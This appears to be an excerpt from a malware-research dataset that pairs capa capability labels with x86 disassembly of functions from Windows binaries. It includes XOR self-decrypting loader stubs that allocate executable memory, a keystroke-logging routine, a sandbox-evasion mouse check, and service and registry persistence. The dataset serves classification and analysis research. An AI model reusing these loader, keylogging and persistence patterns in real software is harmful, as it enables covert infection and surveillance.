joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037780
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x10037790
mov eax, dword [ecx + 4]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x100377b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b5b3
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], 1
call fcn.10037f90
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push edi
push edi
mov dword [ebp - 0x18], edx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10037839
mov dword [esi + 0xc], 0x20
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [esi + 8], ecx
mov eax, dword [0x10083aa8]
cmp eax, edi
jne 0x1003784d
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x52], ebx
mov dword [eax + 0x56], edx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10037b30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083674]
cmp eax, 0xffffffff
je 0x10037b80
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10037b71
cmp esi, dword [0x10083be8]
jne 0x10037b5a
mov dword [0x10083be8], 0
mov ecx, esi
call fcn.10020480
mov ecx, esi
call fcn.10037f90
push esi
call sub.msvcr100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [0x10083674]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10037b90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083be8]
test eax, eax
jne 0x10037bfa
mov eax, dword [0x10083674]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10037bfa
push esi
push 0x16c
call sub.msvcr100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10037bc6
mov ecx, eax
call fcn.10037f90
mov esi, eax
jmp 0x10037bc8
xor esi, esi
cmp byte [0x10083be4], 0
jne 0x10037be2
mov ecx, esi
mov dword [0x10083be8], esi
call fcn.10020740
mov eax, esi
pop esi
ret
mov ecx, dword [0x10083674]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.10020740
mov eax, esi
pop esi
ret
Function at 0x10037f90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10037f9f
pop dword [ebp - 0x44]
mov eax, 0xb3b805b5
sub eax, 0xa3b48616
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x43be5945
add dword [ebp - 0x54], 0xa93ec06
mov dword [ebp - 0x50], 0xfd14be55
add dword [ebp - 0x50], 0x351e8df0
mov dword [ebp - 0x4c], 0x59766d6e
sub dword [ebp - 0x4c], 0xd2a2940
mov dword [ebp - 0x48], 0x2cad8b6e
add dword [ebp - 0x48], 0xd3527492
lea eax, [ebp - 0x54]
push eax
mov eax, 0x720e9c6
sub eax, 0xf71b18be
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x54b239d9
sub dword [ebp - 0x54], 0xe03fd083
mov dword [ebp - 0x50], 0xeaa64e68
sub dword [ebp - 0x50], 0xa939ecf3
mov dword [ebp - 0x4c], 0xf992c25f
add dword [ebp - 0x4c], 0x69dcaa0d
mov dword [ebp - 0x48], 0xad8fff4c
sub dword [ebp - 0x48], 0xad8fff4c
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x3dd95767
add eax, 0xd22c7999
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x52d0f
push 0
call eax
mov ecx, 0x543b
mov edx, eax
mov edi, 0x3ebeb73b
sub edi, 0x2eb5a93b
add edi, dword [ebp - 0x44]
mov esi, 0xbf8a3317
add esi, 0xc7156411
sub dword [ebp - 0x38], 0x4b6a9cbf
mov ebx, dword [edi]
xor dword [ebp - 4], edx
sub ebx, esi
mov dword [edx], ebx
add edx, 4
add edi, 0x9ff3e163
add edi, 0x600c1ea1
loop 0x100380bb
add eax, 0x143bf
mov ebx, eax
add eax, 5
mov ecx, 0x941106c4
add ecx, 0x7beef93c
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x100437a0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x100437c6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x100437b0
ret

Function at 0x10054c72
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10083a30]
jne 0x10054c7c
repz ret
jmp fcn.100553b9
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x6d3578c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d3578ce
repz ret
jmp fcn.6d357caf
Function at 0x1000b7a1
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x10041024]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.1000de50
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.1002668d
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.1002668d
push 0x10038198
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.1002668d
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.1000de50
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b846
sub ecx, edx
cmp ecx, 6
jbe 0x1000b86d
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.1002668d
pop ecx
pop ecx
test eax, eax
jne 0x1000b86d
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000b874
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x10036ae3
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.1002668d
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.1000d8d0
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000b8ee
mov ax, word [0x100381c4]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000be90
add esp, 0x824
ret

Function at 0x1002668d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002669c
pop dword [ebp - 0x40]
mov eax, 0x1002669c
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3ed2d
push 0
mov eax, 0xf47ef698
add eax, 0x1b83cafc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4506
xor ebx, ebx
add ebx, eax
mov edx, 0x9841c6fb
sub edx, 0x883d66fb
add edx, dword [ebp - 0x40]
mov edi, 0xfc7def88
xor dword [ebp - 0x34], edx
mov esi, dword [edx]
xor dword [ebp - 4], 0x98980dbd
xor esi, edi
xor dword [ebp - 0x10], edx
mov dword [ebx], esi
add dword [ebp - 0x10], 0x275d6be7
add ebx, 4
add edx, 0xddf1ac17
sub edx, 0xddf1ac13
loop 0x100266ec
add eax, 0x106eb
xor ebx, ebx
add ebx, eax
add eax, 0x5d75d525
add eax, 0xa28a2ae0
mov ecx, 0x8bc40990
sub ecx, 0x7bc40990
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1005013b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1005014a
pop dword [ebp - 0x38]
mov eax, 0x5ad9aee4
sub eax, 0x4ad4ad9a
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x47c39
push 0
mov eax, 0x62fcd5c4
sub eax, 0x52f554a8
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x5a5d
mov edi, eax
mov edx, 0xf5f3dec3
sub edx, 0xe5db6cc3
add edx, dword [ebp - 0x38]
mov esi, 0xe9905726
add esi, 0xc4785cd5
sub dword [ebp - 0x30], esi
mov ebx, dword [edx]
sub dword [ebp - 0x20], ebx
add ebx, esi
xor dword [ebp - 0x24], ecx
mov dword [edi], ebx
xor dword [ebp - 0x24], ecx
add edi, 0xeee1bb3f
sub edi, 0xeee1bb3b
add edx, 0x42a9180d
add edx, 0xbd56e7f7
loop 0x100501a3
add eax, 0x91d4bccf
add eax, 0x6e2c9f78
xor ebx, ebx
add ebx, eax
add eax, 0x38f9ef6a
add eax, 0xc706109b
mov ecx, 0x73cc2d68
sub ecx, 0x63cc2d68
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x10071ed0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x10071f6b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x10071f22
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x10071f22
cmp esi, ebx
jge 0x10071f22
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10071f65
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10071f65
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100783dc]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100783dc]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x10071f7d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x100721a0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100bb864]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x10176174], 0
mov eax, dword [ebp + 8]
je 0x100721c8
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x100721e2
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1005013b
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.100762d0
leave
ret 4

Function at 0x100723b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100bb864]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x10176174], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x100723e6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10072445
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1005013b
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1005013b
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.1005013b
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100762d0
leave
ret 0x10
Function at 0x10072460
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100bb864]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x10176174], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1007248c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x100724bd
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x100724bb
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1005013b
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x100724bd
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100762d0
leave
ret 8
Function at 0x100011b0
Capabilities:
Check for unmoving mouse cursor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push eax
call ebx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
nop dword [eax + eax]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp eax, edi
jne 0x100011e2
cmp ecx, esi
je 0x1000127c
mov edx, edi
sub edx, eax
test edx, edx
jle 0x100011f7
cmp edx, 5
mov eax, 5
cmovg edx, eax
jmp 0x10001204
jns 0x10001204
cmp edx, 0xfffffffb
mov eax, 0xfffffffb
cmovl edx, eax
mov eax, esi
sub eax, ecx
cmp eax, 1
jle 0x1000121a
cmp eax, 5
mov ecx, 5
cmovg eax, ecx
jmp 0x1000122a
cmp eax, 0xffffffff
jge 0x1000122a
cmp eax, 0xfffffffb
mov ecx, 0xfffffffb
cmovl eax, ecx
mov cl, byte [0x10015691]
push 0x10014900
push 0
push 0x17
push 0x10015650
push dword [0x10014874]
mov byte [0x10015650], 0
mov byte [0x10015651], cl
mov byte [0x10015652], dl
mov byte [0x10015653], al
mov byte [0x10015654], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 8]
push eax
call ebx
jmp 0x100011d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10001380
Capabilities:
Write file on windows

Disassembly:
mov al, byte [0x10015691]
push 0x10014900
push 0
push 0x17
push 0x10015578
push dword [0x10014874]
or al, 2
mov byte [0x10015578], 0
mov byte [0x10015691], al
mov byte [0x10015579], al
mov word [0x1001557a], 0
mov byte [0x1001557c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
ret

Function at 0x10001420
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
movzx ecx, byte [ebp + 8]
mov dword [0x100154e8], 0x1ff00
call fcn.10001610
push 0x10014900
push 0
push 0x17
push 0x100154e8
push dword [0x10014874]
mov byte [0x100154ec], al
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10014900
push 0
push 0x17
push 0x100154e8
push dword [0x10014874]
mov dword [0x100154e8], 0x1ff00
mov byte [0x100154ec], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop ebp
ret 4

Function at 0x10001560
Capabilities:
Log keystrokes via polling
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov al, byte [esi]
test al, al
je 0x10001600
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
cbw
movzx eax, ax
push eax
call dword [sym.imp.USER32.dll_VkKeyScanW]
movzx eax, ax
movsx ecx, ax
call fcn.10001610
movzx ecx, al
mov dword [0x100154e8], 0x1ff00
call fcn.10001610
push 0x10014900
push 0
push 0x17
push 0x100154e8
push dword [0x10014874]
mov byte [0x100154ec], al
call ebx
push 0x32
call edi
push 0x10014900
push 0
push 0x17
push 0x100154e8
push dword [0x10014874]
mov dword [0x100154e8], 0x1ff00
mov byte [0x100154ec], 0
call ebx
push dword [ebp + 0xc]
call edi
mov al, byte [esi + 1]
lea esi, [esi + 1]
test al, al
jne 0x10001580
pop edi
pop ebx
pop esi
pop ebp
ret 8
Function at 0x401183
Capabilities:
Create service
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
xor ebx, ebx
push 2
push ebx
push ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x4011b2
push 6
pop ebx
lea ecx, [ebp - 0xc]
call section..text
pop edi
mov eax, ebx
pop ebx
leave
ret
movsx ecx, byte [0x415b1c]
neg ecx
sbb ecx, ecx
and ecx, 0x415b1c
push ecx
movsx ecx, byte [0x415a18]
neg ecx
sbb ecx, ecx
and ecx, 0x415a18
push ecx
push 0x415914
push ebx
push ebx
push 0x4156fc
push dword [0x415910]
push dword [0x41590c]
push dword [0x415908]
push dword [0x415904]
push 0x4154f4
push 0x4153f0
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, ebx
jne 0x40121e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x4011a4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
lea eax, [ebp - 4]
push eax
push 1
push edi
mov dword [ebp - 4], 0x4155f8
call esi
push 0x415c20
push 2
push edi
mov dword [0x415c2c], 3
call esi
pop esi
jmp 0x4011a4

Function at 0x401488
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ecx
mov eax, dword [0x404144]
mov edx, dword fs:[eax]
push edx
pop eax
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [ecx + 0x30]
push 2
mov edi, dword [ebp + 8]
push edi
push eax
call fcn.00401513
test eax, eax
jne 0x4014b7
nop
jmp 0x4014bf
nop
jmp 0x4014bb
mov ecx, edx
jmp 0x40149f
mov eax, dword [ecx + 0x18]
push eax
mov ebx, dword [eax + 0x3c]
add eax, ebx
mov ebx, dword [eax + 0x78]
pop eax
push eax
add ebx, eax
mov ecx, dword [ebx + 0x1c]
mov edx, dword [ebx + 0x20]
mov ebx, dword [ebx + 0x24]
add ecx, eax
add edx, eax
add ebx, eax
mov esi, dword [edx]
pop eax
push eax
add esi, eax
push 1
push dword [ebp + 0xc]
push esi
call fcn.00401513
test eax, eax
nop
je 0x4014fc
add edx, 4
add ebx, 2
jmp 0x4014de
pop eax
xor edx, edx
mov dx, word [ebx]
shl edx, 2
add ecx, edx
add eax, dword [ecx]
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x401736
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
xor ebx, ebx
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetServicesWinSysNetwork
push 0x80000002
mov dword [ebp - 8], ebx
mov byte [ebp - 4], 0x10
mov byte [ebp - 3], 1
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401784
push 4
lea eax, [ebp - 4]
push eax
push 4
push ebx
push str.Type
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 8], ebx
pop ebx
jne 0x40179b
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x4018aa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp dword [0x415e60], 1
lea eax, [ebp - 4]
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], ebx
push eax
jne 0x4018d4
push 0xf013f
jmp 0x4018d9
push 0xf003f
push ebx
push str.SOFTWARENetWorkProNT32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x401936
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push str.IP_Value
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 8]
mov edi, dword [ebp + 8]
mov dword [edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push str.DNS_Value
push dword [ebp - 4]
call esi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
xor eax, eax
cmp eax, dword [edi]
pop edi
sbb esi, esi
neg esi
cmp dword [ebp - 4], ebx
je 0x401944
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40194a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [0x415e60], 1
lea eax, [ebp - 4]
push eax
jne 0x401963
push 0xf013f
jmp 0x401968
push 0xf003f
push 0
push str.SOFTWARENetWorkProNT32
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4019b0
push 0x40329c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.HOST_Value
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], 0
je 0x4019bf
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret
Function at 0x4019cd
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x4153c0]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
push ebx
push edi
xor edi, edi
push 0x103
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x6f]
push edi
push eax
mov dword [ebp - 0x74], edi
mov byte [ebp - 0x70], 0
call sub.MSVCR90.dll_memset
lea eax, [ebp - 0x70]
push str.c:Windows
push eax
call sub.MSVCR90.dll_strcpy
lea eax, [ebp - 0x70]
push str.localsoas.dat
push eax
call sub.MSVCR90.dll_strcat
add esp, 0x1c
push edi
push edi
push 3
push edi
push 1
push 0x80000000
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401ab7
push esi
lea eax, [ebp - 0x80]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, edi
jne 0x401a62
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401ab6
push esi
call dword [sym.imp.MSVCR90.dll_malloc]
pop ecx
push 0
mov edi, eax
lea eax, [ebp - 0x7c]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x7c], esi
jne 0x401aaa
xor eax, eax
test esi, esi
jbe 0x401a96
xor byte [eax + edi], 0x99
inc eax
cmp eax, esi
jb 0x401a8d
push esi
push edi
push dword [ebp - 0x78]
call fcn.00401e32
add esp, 0xc
mov dword [ebp - 0x74], 1
test edi, edi
je 0x401ab6
push edi
call dword [sym.imp.MSVCR90.dll_free]
pop ecx
pop esi
mov ecx, dword [ebp + 0x94]
mov eax, dword [ebp - 0x74]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040206c
add ebp, 0x98
leave
ret